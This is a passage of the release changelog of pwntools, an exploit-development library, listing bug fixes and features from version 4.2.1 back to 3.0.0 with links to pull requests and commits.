https://github.com/Gallopsled/pwntools/pull/1621\n\n## 4.2.1\n\n- [#1625][1625] GDB now properly loads executables with QEMU\n- [#1663][1663] Change lookup algorithm of `adb.which`\n- [#1699][1699] Fix broken linux shellcraft templates\n\n[1625]: https://github.com/Gallopsled/pwntools/pull/1625\n[1699]: https://github.com/Gallopsled/pwntools/pull/1699\n\n## 4.2.0\n\n- [#1436][1436] Add ret2dlresolve automation\n- [fecf9f] tubes.ssh.process() no longer requires python 2 installed on remote (still requires python, though)\n- Miscellanous improvements to DynElf and fmtstr leaker (see examples/fmtstr/exploit2.py)\n- [#1454][1454] Support for windows console colors\n\n[1436]: https://github.com/Gallopsled/pwntools/pull/1436\n[fecf9f]: http://github.com/Gallopsled/pwntools/commit/fecf9f\n[1454]: https://github.com/Gallopsled/pwntools/pull/1454\n\n## 4.1.7 (`stable`)\n\n- [#1615][1615] Fix aarch64 pushstr and pushstr_array\n\n[1615]: https://github.com/Gallopsled/pwntools/pull/1454\n\n## 4.1.5\n\n- [#1517][1517] flat(..., filler=) is fixed for `str` values and Python2 `bytes`\n\n[1517]: https://github.com/Gallopsled/pwntools/pull/1517\n\n## 4.1.4\n\n- [#1698][1609] Fix issues in `packing.flat` with mis-ordred fields\n\n[1609]: https://github.com/Gallopsled/pwntools/pull/1609\n\n## 4.1.3\n\n- [#1590][1590] Fix `gdb.attach()` for `remote`, `listen`, `ssh` tubes\n  - Also fix `run_in_new_terminal` for Py2 unicode strings\n- [#1595][1595] Fix ssh.process(timeout=)\n\n[1590]: https://github.com/Gallopsled/pwntools/pull/1590\n[1595]: https://github.com/Gallopsled/pwntools/pull/1595\n\n## 4.1.2\n\n- Pwntools requires `six` v.1.12.0 or higher\n\n## 4.1.1\n\n- Fix PLT resolution by locking unicorn <1.0.2rc4 (#1538)\n- Fix wrong ELF/context unpack handling (c4c11a37)\n- Fix updating of ELF.functions addresses after changing ELF.address #1512 (#1513)\n- Update Corefile warnings and replace asserts with normal checks (#1526)\n- several py2-py3 issues (#1451)\n- Fix cyclic command\n\n## 4.1.0\n\n- [#1316][1316] Fix connect shellcraft in python 3\n- [#1323][1323] Fix issues related with debugging\n- [#1001][1001] Enhance `unlock_bootloader` with better status messages\n- [#1389][1389] remove old dependencies\n- [#1241][1241] Launch QEMU with sysroot if specified\n- [#1218][1218] Support for FileStructure exploitation\n\n[1316]: https://github.com/Gallopsled/pwntools/pull/1316\n[1323]: https://github.com/Gallopsled/pwntools/pull/1323\n[1001]: https://github.com/Gallopsled/pwntools/pull/1001\n[1389]: https://github.com/Gallopsled/pwntools/pull/1389\n[1241]: https://github.com/Gallopsled/pwntools/pull/1241\n[1218]: https://github.com/Gallopsled/pwntools/pull/1218\n\n## 4.0.1\n\n- [#1412][1412] `recvline_pred()` and similar do not reorder data\n- Bypass unicorn-engine/unicorn#1100 and unicorn-engine/unicorn#1170 requiring unstable package\n\n[1412]: https://github.com/Gallopsled/pwntools/pull/1412\n\n## 4.0.0\n\n- **Python 3 support! <3**\n- [#1402][1402] Fix serialtube in python 3\n- [#1391][1391] Fix process.libs\n- [#1317][1317] Tubes with `context.encoding`\n- [#1216][1216] Improve format string generator\n- [#1285][1285] Add freebsd generic syscall templates\n- [76413f][76413f] Add pwnlib.adb.bootimg for 'ANDROID!' format boot.img images\n- [#1202][1202] Docker: Kill 14 layers in pwntools base images\n- [#1182][1182] shellcraft.dupio() for mips\n\n[1402]: https://github.com/Gallopsled/pwntools/pull/1402\n[1391]: https://github.com/Gallopsled/pwntools/pull/1391\n[1317]: https://github.com/Gallopsled/pwntools/pull/1317\n[1285]: https://github.com/Gallopsled/pwntools/pull/1285\n[1216]: https://github.com/Gallopsled/pwntools/pull/1216\n[1202]: https://github.com/Gallopsled/pwntools/pull/1202\n[1182]: https://github.com/Gallopsled/pwntools/pull/1182\n[76413f]: https://github.com/Gallopsled/pwntools/commit/76413f\n\n## 3.13.0\n\n- [#1204][1204] Reduce ROP cache filename length\n- [#1175][1175] Fix nested SSH connectors\n- [#1355][1355] Fix 'break' syscall\n- [#1277][1277] Fix timeout parameter passing in sendlineafter and other similar functions\n- [#1292][1292] Provide correct arch name to gdb for sparc64\n\n[1175]: https://github.com/Gallopsled/pwntools/pull/1175\n[1204]: https://github.com/Gallopsled/pwntools/pull/1204\n[1277]: https://github.com/Gallopsled/pwntools/pull/1277\n[1292]: https://github.com/Gallopsled/pwntools/pull/1292\n[1355]: https://github.com/Gallopsled/pwntools/pull/1355\n\n## 3.12.2\n\n- [#1242][1242] Use IntervalTree 2.xx, disallow use of 3.xx\n- [#1243][1243] Fix a typo that caused an exception when executing a binary with `process()` which returns `-ENOEXEC` and the system does not have `qemu-user` binaries installed.\n\n[1242]: https://github.com/Gallopsled/pwntools/pull/1242\n[1243]: https://github.com/Gallopsled/pwntools/pull/1243\n\n## 3.12.1\n\n- [#1198][1198] More compatibility fixes for pyelftools==0.25, and pin Sphinx<1.8.0 since it causes testing errors\n- [#1191][1191] Fix compatibility with pyelftools==0.25\n- [#1159][1159] Fix check for `/proc/.../status`\n- [#1162][1162] Fix broken package versions\n- [#1150][1150] Fix exception raised when a cache file is missing\n- [#1156][1156] Fix ROP gadget selection logic involving `int` and `syscall` instructions\n- [#1152][1152] Fix QEMU LD_PREFIX calculation (wrong parameter passed)\n- [#1155][1155] Use Ubuntu Trusty for all CI builds\n- [#1131][1131] Add \"libc-\" to libc prefixes in `process` tubes\n- [#1125][1125] Fix a typo\n- [#1121][1121] Fix tests which were broken by an upstream Sphinx change\n- [#1104][1104] Add `DynELF.dump()` for dumping remote ELF files\n- [#1101][1101] Set `context.os` via `context.binary`, useful for Android exploitation\n- [5fdc08][5fdc08] Work around broken `pidof` on Android\n- [63dfed][63dfed] Print warning when Corefile deletion fails instead of throwing an exception\n- [#1094][1094] Make hexdump output alignment more consistent\n- [#1096][1096] `flat()` and `fit()` are now the same function\n\n[1198]: https://github.com/Gallopsled/pwntools/pull/1198\n[1191]: https://github.com/Gallopsled/pwntools/pull/1191\n[1159]: https://github.com/Gallopsled/pwntools/pull/1159\n[1162]: https://github.com/Gallopsled/pwntools/pull/1162\n[1150]: https://github.com/Gallopsled/pwntools/pull/1150\n[1156]: https://github.com/Gallopsled/pwntools/pull/1156\n[1152]: https://github.com/Gallopsled/pwntools/pull/1152\n[1155]: https://github.com/Gallopsled/pwntools/pull/1155\n[1131]: https://github.com/Gallopsled/pwntools/pull/1131\n[1125]: https://github.com/Gallopsled/pwntools/pull/1125\n[1121]: https://github.com/Gallopsled/pwntools/pull/1121\n[1104]: https://github.com/Gallopsled/pwntools/pull/1104\n[1101]: https://github.com/Gallopsled/pwntools/pull/1101\n[1094]: https://github.com/Gallopsled/pwntools/pull/1094\n[1096]: https://github.com/Gallopsled/pwntools/pull/1096\n[5fdc08]: https://github.com/Gallopsled/pwntools/commit/5fdc08\n[63dfed]: https://github.com/Gallopsled/pwntools/commit/63dfed\n\n## 3.12.0\n\n- [#1083][1083] Better error messages for `gdb` when `LD_PRELOAD` is incorrect\n- [#1085][1085] Add support for extracting Android `BOOTLDR!` images\n- [#1075][1075] Add support for detecting GNU Screen for `run_in_new_terminal`\n- [#1074][1074] Add support for running `pwntools-gdb` wrapper script instead of `gdb`\n- [#1068][1068] Work around very old OpenSSL versions which don't have sha256 support *AND* don't exit with an error code when trying to use it\n- [#1067][1067] Add `pwnlib.tubes.server` module, which adds a reusable `server` listener\n- [#1063][1063] Add support for labels in `fit()`, allowing dynamic contents to be injected.  (This feature is really cool, check out the pull request!)\n\n[1083]: https://github.com/Gallopsled/pwntools/pull/1083\n[1085]: https://github.com/Gallopsled/pwntools/pull/1085\n[1075]: https://github.com/Gallopsled/pwntools/pull/1075\n[1074]: https://github.com/Gallopsled/pwntools/pull/1074\n[1068]: https://github.com/Gallopsled/pwntools/pull/1068\n[1067]: https://github.com/Gallopsled/pwntools/pull/1067\n[1063]: https://github.com/Gallopsled/pwntools/pull/1063\n\n## 3.11.0\n\n- [#1044][1044] Enhancements to ROP\n    + Much better support for 64-bit Intel (amd64) ROP\n    + ROP gadget selection is optimized to favor multi-pops instead of multiple single-pop gadgets\n    + Added support for blacklisting byte values in ROP gadget addresses\n- [#1049][1049] Enhancements to `cyclic`\n    + `context` now has two additional attributes, `cyclic_alphabet` and `cyclic_length`, which correspond to the arguments `alphabet` and `n` to `cyclic()` and `cyclic_find()` and related routines.\n    + The motivation for this change is to allow setting the `alphabet` globally, so that any padding / patterns generated internally to pwntools can be controlled.  The specific motivation is blacklisting values in ROP padding.\n- [#1052][1052] Enhancements for detecting `QEMU_LD_PREFIX` used by QEMU user-mode emulation for sysroots\n- [#1035][1035] Minor documentation changes\n- [#1032][1032] Enhancements to `pwn template`\n- [#1031][1031] More accurate `Coredump.fault_addr` on amd64\n- [#1084][1084] Fix broken tests due to `ftp.debian.org` going down\n\n[1044]: https://github.com/Gallopsled/pwntools/pull/1044\n[1049]: https://github.com/Gallopsled/pwntools/pull/1049\n[1052]: https://github.com/Gallopsled/pwntools/pull/1052\n[1035]: https://github.com/Gallopsled/pwntools/pull/1035\n[1032]: https://github.com/Gallopsled/pwntools/pull/1032\n[1031]: https://github.com/Gallopsled/pwntools/pull/1031\n[1084]: https://github.com/Gallopsled/pwntools/pull/1084\n\n## 3.10.0\n\n- [#1007][1007] Add support for setting a `gdbinit` file in the context\n- [#1055][1055] Fixes for `Corefile` stack parsing, speed up `ELF.string()`\n- [#1057][1057] Fix a variable name typo in `DynELF` logging which results in an exception being thrown\n- [#1058][1058] Fix an edge case in `ssh_process.exe`\n\n[1007]: https://github.com/Gallopsled/pwntools/pull/1007\n[1055]: https://github.com/Gallopsled/pwntools/pull/1055\n[1057]: https://github.com/Gallopsled/pwntools/pull/1057\n[1058]: https://github.com/Gallopsled/pwntools/pull/1058\n\n## 3.9.2\n\n- [#1043][1043] Do not attempt to populate the libraries used by statically-linked binaries\n\n[1043]: https://github.com/Gallopsled/pwntools/pull/1043\n\n## 3.9.1\n\n- [#1038][1038] Fix an issue with `process()` where glibc would buffer data internally, causing a hang on `select()`\n- [#1036][1036] Fix Travis CI logging verbosity\n- [#1029][1029] Fix some `unicode` issues when using the `readline` command history in `tube.interactive()`\n\n[1038]: https://github.com/Gallopsled/pwntools/pull/1038\n[1036]: https://github.com/Gallopsled/pwntools/pull/1036\n[1029]: https://github.com/Gallopsled/pwntools/pull/1029\n\n## 3.9.0\n\n- [#1003][1003] Make `concat_all` faster while also simplifying it's logic\n- [#1014][1014] Fix for overwritten env when parsing core file\n- [#1023][1023] Fixes to Travis CI\n\n[1003]: https://github.com/Gallopsled/pwntools/pull/1003\n[1014]: https://github.com/Gallopsled/pwntools/pull/1014\n[1023]: https://github.com/Gallopsled/pwntools/pull/1023\n\n## 3.8.0\n\n- [#981][981] Fixed RELRO detection logic\n- [#986][986] Enhancements to DynELF for controlling usage of LibcDB\n- A few documentation fixes\n- A few fixes for the Docker image\n\n[981]: https://github.com/Gallopsled/pwntools/pull/981\n[986]: https://github.com/Gallopsled/pwntools/pull/986\n\n## 3.7.1\n\n- [#998][998] Fix a bug where integer values could not be set in `.pwn.conf`.\n\n[998]: https://github.com/Gallopsled/pwntools/pull/998\n\n## 3.7.0\n\n- [#933][933] DynELF works better with different base addresses\n- [#952][952] A few small fixes were made to `pwn template`, and the CRC database was updated.\n- [5c72d62c][5c72d62c] Updated the CRC database\n\n[933]: https://github.com/Gallopsled/pwntools/pull/933\n[952]: https://github.com/Gallopsled/pwntools/pull/952\n[5c72d62c]: https://github.com/Gallopsled/pwntools/commit/5c72d62c\n\n## 3.6.1\n\n- [#979][979]+[1a4a1e1][1a4a1e1] Fixed [#974][974], a bug related to the terminal handling and numlock.\n- [#980][980] Fixed the `pwn template` command.\n\n[974]: https://github.com/Gallopsled/pwntools/issues/974\n[979]: https://github.com/Gallopsled/pwntools/pull/979\n[980]: https://github.com/Gallopsled/pwntools/pull/980\n[1a4a1e1]: https://github.com/Gallopsled/pwntools/commit/1a4a1e1\n\n## 3.6.0\n\n- [#895][895] Added a Dockerfile to simplify testing setup and allow testing on OSX\n- [#897][897] Fixed some incorrect AArch64 syscals\n- [#893][893] Added the `pwnlib.config` module\n    + Configuration options can now be set in `~/.pwn.conf`\n    + This replaces the old, **undocumented** mechanism for changing logging colors.  Only @br0ns and @ebeip90 were likely using this.\n    + More information is available in the documentation [here](http://docs.pwntools.com/en/dev/config.html).\n- [#899][899] Pwntools now uses Unicorn Engine to emulate PLT instructions to ensure correct mapping of PIE / RELRO binaries.\n- [#904][904] Enhancements to the accuracy of the `pwn checksec` command.\n- [#905][905] Added a `pwn debug` command-line utility which automates the process of `gdb.attach(process(...))` to spawn GDB\n    + More information is available in the documentation [here](http://docs.pwntools.com/en/dev/commandline.html#pwn-debug)\n- [#919][919] Added a `pwn template` command-line utility to simplify the process of bootstrapping a new exploit.\n    + More information is available in the documentation [here](http://docs.pwntools.com/en/dev/commandline.html#pwn-template).\n- [#948][948] Fix unnecessary warning for Core files\n- [#954][954] Fix list processing in `~/.pwn.conf`\n- [#967][967] Respect `TERM_PROGRAM` for `run_in_new_terminal`\n- [#970][970] Fix overly-aggressive corefile caching\n\n[947]: https://github.com/Gallopsled/pwntools/pull/947\n[948]: https://github.com/Gallopsled/pwntools/pull/948\n[954]: https://github.com/Gallopsled/pwntools/pull/954\n[960]: https://github.com/Gallopsled/pwntools/pull/960\n[967]: https://github.com/Gallopsled/pwntools/pull/967\n[968]: https://github.com/Gallopsled/pwntools/pull/968\n[970]: https://github.com/Gallopsled/pwntools/pull/970\n\n[895]: https://github.com/Gallopsled/pwntools/pull/895\n[897]: https://github.com/Gallopsled/pwntools/pull/897\n[893]: https://github.com/Gallopsled/pwntools/pull/893\n[899]: https://github.com/Gallopsled/pwntools/pull/899\n[904]: https://github.com/Gallopsled/pwntools/pull/904\n[905]: https://github.com/Gallopsled/pwntools/pull/905\n[919]: https://github.com/Gallopsled/pwntools/pull/919\n\n## 3.5.1\n\n- [#945][945] Speed up ssh via caching checksec results (fixes [#944][944])\n- [#950][950] Fixes a bug where setting `context.arch` does not have an effect on `adb.compile()` output architecture\n\n[944]: https://github.com/Gallopsled/pwntools/issues/944\n[945]: https://github.com/Gallopsled/pwntools/pull/945\n[950]: https://github.com/Gallopsled/pwntools/pull/950\n\n## 3.5.0\n\n- [b584ca3][b584ca3] Fixed an issue running `setup.py` on ARM\n- [#822][822] Enabled relative leaks with `MemLeak`\n    + This should be useful for e.g. heap-relative leaks\n- [#832][832] Changed all internal imports to use absolute imports (no functional changes)\n- [a12d0b6][a12d0b6] Move `STDOUT`, `PIPE`, `PTY` constants to globals\n    + `process(..., stdin=process.PTY)` --> `process(..., stdin=PTY)`\n- [#828][828] Use `PR_SET_PTRACER` for all `process()` and `ssh.process()` instances\n    + This simplifies debugging on systems with YAMA ptrace enabled\n- Various documentation enhancements\n    + In particular, the [gdb][gdb], [elf][elf], and [ssh][ssh] docs are much better\n- [#833][833] Performance enhancements for `adb` module\n- [d0267f3][d0267f3] `packing.fit()` now treats large offsets as cyclic patterns (e.g. `0x61616161` behaves the same as `\"aaaa\"`)\n- [#835][835] Added `ssh.checksec`\n    + Reports the kernel version and other relevant information on connection\n- [#857][857] Slightly shortened `execve` shellcode\n- [300f8e0][300f8e0] Slightly speed up processing of large ELF files\n- [#861][861] Adds support for extracting `IKCONFIG` configs from Linux kernel images, and extends `checksec` to report on any insecure configurations discovered\n- [#871][871] Moves all of the basic syscall templates to `shellcraft/common` and exposes them via symlinks.  Closed [#685][685]\n    + Should not have any visible effects from any documented APIs\n    + `shellcraft.arch.os.syscall_function()` still works the same\n    + We now have the ability to differentiate between the `connect` syscall, and a TCP `connect` helper\n- [#887][887] `sh_string` now returns a quoted empty string `''` rather than just an empty string\n- [#839][839] Exposes a huge amount of functionality via corefiles which was not previously availble.  See the [docs][corefile_docs] for examples.\n    + `process().corefile` will automatically instantiate a Corefile for the process\n    + QEMU-emulated processes are supported\n    + Native processes are supported, including extraction of coredumps from `apport` crash logs\n    + Native processes can be dumped *while running*, in a manner similar to `GDB`'s `gcore` script\n- [#875][857] Added [documentation][aarch64] (and tests) for AArch64 shellcode\n- [#882][882] The `ROP` class now respects `context.bytes` instead of using the hard-coded value of `4` (fixed [#879][879])\n- [#869][869] Added several fields to the `process` class (`uid`, `gid`, `suid`, `sgid`) which are recorded at execution time, based on the file permissions\n- [#868][868] Changed the way that `ssh.process()` works internally, and it now returns a more specialized class, `ssh_process`.\n    + Added `ssh_process.corefile` for fetching remote corefiles\n    + Added `ssh_process.ELF` for getting an ELF of the remote executable\n    + The `uid`, `gid`, and `suid`, and `sgid` which are recorded at execution time, based on the file permissions\n- [#865][865] Fixes `ELF.read` to support contiguous memory reads across non-contiguous file-backed segments\n- [#862][862] Adds a `symlink=` argument to `ssh.set_working_directory`, which will automatically symlink all of the files in the \"old\" working directory into the \"new\" working directory\n\n[ssh]: http://docs.pwntools.com/en/dev/tubes/ssh.html\n[gdb]: http://docs.pwntools.com/en/dev/gdb.html\n[elf]: http://docs.pwntools.com/en/dev/elf.html\n[corefile_docs]: http://docs.pwntools.com/en/dev/elf/corefile.html\n[aarch64]: http://docs.pwntools.com/en/dev/shellcraft/aarch64.html\n\n[685]: https://github.com/Gallopsled/pwntools/pull/685\n[822]: https://github.com/Gallopsled/pwntools/pull/822\n[828]: https://github.com/Gallopsled/pwntools/pull/828\n[832]: https://github.com/Gallopsled/pwntools/pull/832\n[833]: https://github.com/Gallopsled/pwntools/pull/833\n[835]: https://github.com/Gallopsled/pwntools/pull/835\n[839]: https://github.com/Gallopsled/pwntools/pull/839\n[857]: https://github.com/Gallopsled/pwntools/pull/857\n[861]: https://github.com/Gallopsled/pwntools/pull/861\n[862]: https://github.com/Gallopsled/pwntools/pull/862\n[865]: https://github.com/Gallopsled/pwntools/pull/865\n[868]: https://github.com/Gallopsled/pwntools/pull/868\n[869]: https://github.com/Gallopsled/pwntools/pull/869\n[871]: https://github.com/Gallopsled/pwntools/pull/871\n[875]: https://github.com/Gallopsled/pwntools/pull/857\n[879]: https://github.com/Gallopsled/pwntools/issues/879\n[882]: https://github.com/Gallopsled/pwntools/pull/882\n[887]: https://github.com/Gallopsled/pwntools/pull/887\n\n\n[b584ca3]: https://github.com/Gallopsled/pwntools/commit/b584ca3\n[a12d0b6]: https://github.com/Gallopsled/pwntools/commit/a12d0b6\n[d0267f3]: https://github.com/Gallopsled/pwntools/commit/d0267f3\n[300f8e0]: https://github.com/Gallopsled/pwntools/commit/300f8e0\n\n## 3.4.1\n\n- [#894][894] Fix a bug when using `gdb.debug()` over ssh.\n- [e021f57][e021f57] Fix a bug ([#891][891]) in `rop` when needing to insert padding to fix alignment\n\n[e021f57]: https://github.com/Gallopsled/pwntools/commit/e021f57\n[894]: https://github.com/Gallopsled/pwntools/pull/894\n[891]: https://github.com/Gallopsled/pwntools/issues/891\n\n## 3.4.0\n\n- [#800][800] Add `shell=` option to `ssh.process()`\n- [#806][806] Add `context.buffer_size` for fine-tuning `tube` performance\n    + Also adds `buffer_fill_size=` argument for all tubes\n- [b83a6c7][b83a6c7] Fix undocumented `process.leak` function\n- [546061e][546061e] Modify `coredump_filter` of all spawned processes, so that core dumps are more complete\n- [#809][809] Add several functions to `adb` (`unlink`, `mkdir`, `makedirs`, `isdir`, `exists`)\n- [#817][817] Make disconnection detection more robust\n\n[800]: https://github.com/Gallopsled/pwntools/pull/800\n[806]: https://github.com/Gallopsled/pwntools/pull/806\n[809]: https://github.com/Gallopsled/pwntools/pull/809\n[817]: https://github.com/Gallopsled/pwntools/pull/817\n[5d9792f]: https://github.com/Gallopsled/pwntools/commit/5d9792f\n[b83a6c7]: https://github.com/Gallopsled/pwntools/commit/b83a6c7\n[546061e]: https://github.com/Gallopsled/pwntools/commit/546061e\n\n## 3.3.4\n\n- [#850][850] and [#846][846] fix issues with `hexdump` and the `phd` command-line utility, when using pipes (e.g. `echo foo | phd`)\n- [#852][852] Fixes register ordering in `regsort`\n- [#853][853] Fixes the registers restored in `shellcraft.amd64.popad`\n\n[846]: https://github.com/gallopsled/pwntools/pull/846\n[850]: https://github.com/gallopsled/pwntools/pull/850\n[852]: https://github.com/gallopsled/pwntools/pull/852\n[853]: https://github.com/gallopsled/pwntools/pull/853\n\n## 3.3.3\n\n- [#843][843] fixed a bug in `amd64.mov`.\n\n[843]: https://github.com/gallopsled/pwntools/pull/843\n\n## 3.3.2\n\n- [#840][840] fixed a regression introduced by [#837][837].\n\n[840]: https://github.com/gallopsled/pwntools/pull/840\n\n## 3.3.1\n\n- [#833][833] Fixed a performance-impacting bug in the adb module.\n- [#837][837] Fixed a bug([#836][836]) causing `hexdump(cyclic=True)` to throw an exception.\n\n[833]: https://github.com/Gallopsled/pwntools/pull/833\n[837]: https://github.com/Gallopsled/pwntools/pull/837\n[836]: https://github.com/Gallopsled/pwntools/issues/836\n\n## 3.3.0\n\n- [b198ec8][b198ec8] Added `tube.stream()` function, which is like `tube.interact()` without a prompt or keyboard input.\n    + Effectively, this is similar to `cat file` and just prints data as fast as it is received.\n- [aec3fa6][aec3fa6] Disable update checks against GitHub\n    + These checks frequently broke due to GitHub query limits\n- [#757][757] Fixed `adb.wait_for_device()` re-use of the same connection\n- [f9133b1][f9133b1] Add a `STDERR` magic argument to make logging go to `stderr` instead of `stdout`\n    + Usage is e.g. `python foo.py STDERR` or `PWNLIB_STDERR=1 python foo.py`\n    + Also adds `context.log_console` to log to any file or terminal\n- [67e11a9][67e11a9] Add faster error checking to `cyclic()` when provided very large values\n- [5fda658][5fda658] Expose BitPolynom in `globals()`\n- [#765][765] Added `-d` option for hex-escaped output for `shellcraft` command-line tool\n- [#772][772] Fixed bash completion regressions\n- [30c34b7][30c34b7] Fix `ROP.call()` with `Function` objects from `ELF.functions`\n- [fa402ce][fa402ce] Add `adb.uptime` and `adb.boot_time`\n- [82312ba][82312ba] Add `cyclic_metasploit` and `cyclic_metasploit_find`\n\n[757]: https://github.com/Gallopsled/pwntools/pull/757\n[765]: https://github.com/Gallopsled/pwntools/pull/765\n[772]: https://github.com/Gallopsled/pwntools/pull/772\n[b198ec8]: https://github.com/Gallopsled/pwntools/commit/b198ec8\n[aec3fa6]: https://github.com/Gallopsled/pwntools/commit/aec3fa6\n[f9133b1]: https://github.com/Gallopsled/pwntools/commit/f9133b1\n[67e11a9]: https://github.com/Gallopsled/pwntools/commit/67e11a9\n[5fda658]: https://github.com/Gallopsled/pwntools/commit/5fda658\n[30c34b7]: https://github.com/Gallopsled/pwntools/commit/30c34b7\n[fa402ce]: https://github.com/Gallopsled/pwntools/commit/fa402ce\n[82312ba]: https://github.com/Gallopsled/pwntools/commit/82312ba\n\n## 3.2.1\n\nMultiple bug fixes.\n\n- [#783][783] Fix `adb.uninstall` typo\n- [#787][787] Added error handling for `ssh.process` argument `preexec_fn`\n- [#793][793] Fixed progress message in `remote()` when connections failed\n- [#802][802] Fixed partition listing in `adb.partitions`, which accidentally shelled out to the `adb` binary\n- [#804][804] Fix error message for 32-bit distributions\n- [#805][805] Fix exception in `Core.segments` when a segment has no name\n- [#811][811] Fixes and performance improvements for `adb.wait_for_device()`\n- [#813][813] Fixed a release script\n- [#814][814] Fixed exceptions thrown if the `$HOME` directory is not writable\n- [#815][815] Properly handle `None` in `MemLeak`\n\n[783]: https://github.com/Gallopsled/pwntools/pull/783\n[787]: https://github.com/Gallopsled/pwntools/pull/787\n[793]: https://github.com/Gallopsled/pwntools/pull/793\n[802]: https://github.com/Gallopsled/pwntools/pull/802\n[804]: https://github.com/Gallopsled/pwntools/pull/804\n[805]: https://github.com/Gallopsled/pwntools/pull/805\n[811]: https://github.com/Gallopsled/pwntools/pull/811\n[813]: https://github.com/Gallopsled/pwntools/pull/813\n[814]: https://github.com/Gallopsled/pwntools/pull/814\n[815]: https://github.com/Gallopsled/pwntools/pull/815\n\n## 3.2.0\n\n- [#695][695] Fixed a performance regression in `phd`.\n- [452605e][452605e] Fixed [#629][629] related to correct removal of temporary files.\n- [ea94ee4][ea94ee4] Disallows semi-colons in for the `run_in_terminal` function, since it did not work properly in all cases.\n- [6376d07][6376d07] Added the mips shellcode `pushstr_array`.\n- [#700][700] Added missing MIPS shellcode documentation to readthedocs, and enabled unit tests\n- [#701][701] Command line tools refactored to have a common `pwn` entry point.\n    + Added an option to *not* install the traditional `asm`, `disasm`, `checksec`, etc scripts\n    + All existing tools can be accessed from the `pwn` command (e.g. `pwn asm nop`).\n- [#704][704] The `process` object has a new, optional argument `alarm` for setting a `SIGALRM` timeout for processes.\n- [#705][705] Added the Android Emulator to the test suite and Travis CI.\n    + Android Emulator is now required for the full test suite\n    + Android Emulator tests are skipped if no Android-related changes are detected\n- [#711][711] `DynELF` has a new attribute, `heap`, which leaks the current `brk` address (heap base).  This is useful for finding heap allocations with dlmalloc-derived allocators like those used by Glibc.\n- [#717][717] `sh_string` was rewritten to emit more compact and compatible strings\n    + This was achieved by embedding single-quoted non-printable literals\n    + Much more testing was added\n    + Emitted strings are no longer copy-paste compatible, but work fine with e.g. `tubes` module and the default `subprocess` module\n- [#709][709] The `adb` module now directly talks to the `adb` server process via a new module, `adb.protocol`\n    + Removes the need to shell out to `adb`\n    + Avoids version-compatibility issues with `adb` server vs. client\n- [#703][703] Added new methods to `adb`\n    + `install` - Installs an APK\n    + `uninstall` - Uninstalls a package\n    + `packages` - Lists installed packages\n- [4893819][4893819] Modified `shellcraft.sh` on all platforms to provide `argv[0]` and set `argc==1`\n    + This is needed for systems which have Busybox or other minimal shell for `/bin/sh` which does not behave well with `argc==0` or `argv[0]==NULL`.\n- [1e414af][1e414af] Added `connect()` alias for `remote()`\n    + For example, `io=connect('google.com', 80)`\n    + This also works with `tcp(...)` and `udp(...)` aliases\n- [869ec42][869ec42] Added `ssh.read()` and `ssh.write()` aliases\n- [2af55c9][2af55c9] `AdbDevice` objects exposed via e.g. `adb.devices()` now offer scoped access to all `adb` module properties\n    + It is now possible to e.g. `map(lambda d: d.process(['id']).recvall(), adb.devices())`\n\n\n[629]: https://github.com/Gallopsled/pwntools/issues/629\n[695]: https://github.com/Gallopsled/pwntools/pull/695\n[700]: https://github.com/Gallopsled/pwntools/pull/700\n[701]: https://github.com/Gallopsled/pwntools/pull/701\n[704]: https://github.com/Gallopsled/pwntools/pull/704\n[711]: https://github.com/Gallopsled/pwntools/pull/711\n[717]: https://github.com/Gallopsled/pwntools/pull/717\n[709]: https://github.com/Gallopsled/pwntools/pull/709\n[705]: https://github.com/Gallopsled/pwntools/pull/705\n[703]: https://github.com/Gallopsled/pwntools/pull/703\n[452605e]: https://github.com/Gallopsled/pwntools/commit/452605e854f4870ef5ccfdf7fb110dfd75c50feb\n[ea94ee4]: https://github.com/Gallopsled/pwntools/commit/ea94ee4ca5a8060567cc9bd0dc33796a89ad0b95\n[6376d07]: https://github.com/Gallopsled/pwntools/commit/6376d072660fb2250f48bd22629bbd7e3c61c758\n[1e414af]: https://github.com/Gallopsled/pwntools/commit/1e414afbeb3a01242f4918f111febaa63b640eb7\n[869ec42]: https://github.com/Gallopsled/pwntools/commit/869ec42082b4b98958dfe85103da9b101dde7daa\n[4893819]: https://github.com/Gallopsled/pwntools/commit/4893819b4c23182da570e2f4ea4c14d73af2c0df\n[2af55c9]: https://github.com/Gallopsled/pwntools/commit/2af55c9bc382eca23f89bc0abc7a07c075521f94\n\n## 3.1.1\n\nFixed a bug in `MemLeak.struct` (PR: #768).\n\n## 3.1.0\n\nA number of smaller bugfixes and documentation tweaks.\n\n## 3.0.4\n\n- Fixed a bug that made 3.0.3 uninstallable (Issue: #751, PR: #752)\n\n## 3.0.3\n\n- Fixed some performance and usability problems with the update system (Issues:\n  #723, #724, #736. PRs: #729, #738, #747).\n- Fixed a bug related to internals in pyelftools (PRs: #730, #746).\n- Fixed an issue with travis (Issue: #741, PRs: #743, #744, #745).\n\n## 3.0.2\n\n- Cherry-pick #695, as this was a regression-fix.\n- Added a fix for the update checker, as it would suggest prereleases as updates to stable releases.\n- Various documentation fixes.\n\n## 3.0.1\n\nA small bugfix release. There were a lot of references to the `master`-branch, however after 3.0.0 we use the names `stable`, `beta` and `dev` for our branches.\n\n## 3.0.0\n\nThis was a large release (1305 commits since 2.2.0) with a lot of bugfixes and changes.  The Binjitsu project, a fork of Pwntools, was merged back into Pwntools.  As such, its features are now available here.\n\nAs always, the best source of information on specific features is the comprehensive docs at https://pwntools.readthedocs.org.\n\nThis list of changes is non-complete, but covers all of the significant changes which were appropriately documented.\n\n#### Android\n\nAndroid support via a new `adb` module, `context.device`, `context.adb_host`, and `context.adb_port`.\n\n#### Assembly and Shellcode\n\n- Assembly module enhancements for making ELF modules from assembly or pre-assembled shellcode.  See `asm.make_elf` and `asm.make_elf_from_assembly`.\n- `asm` and `shellcraft` command-line tools support flags for the new shellcode encoders\n- `asm` and `shellcraft` command-line tools support `--debug` flag for automatically launching GDB on the result\n- Added MIPS, PowerPC, and AArch64 support to the `shellcraft` module\n- Added Cyber Grand Challenge (CGC) support to the `shellcraft` module\n- Added syscall wrappers for every Linux syscall for all supported architectures to the `shellcraft` module\n    + e.g. `shellcraft.<arch>.gettimeofday`\n- (e.g. `shellcraft.i386.linux.`)\n- Added in-memory ELF loaders for most supported architectures\n    + Only supports statically-linked binaries\n    + `shellcraft.<arch>.linux.loader`\n\n#### Context Module\n\n- Added `context.aslr` which controls ASLR on launched processes.  This works with both `process()` and `ssh.process()`, and can be specified per-process with the `aslr=` keyword argument.\n- Added `context.binary` which automatically sets all `context` variables from an ELF file.\n- Added `context.device`, `context.adb`, `context.adb_port`, and `context.adb_host` for connecting to Android devices.\n- Added `context.kernel` setting for SigReturn-Oriented-Programming (SROP).\n- Added 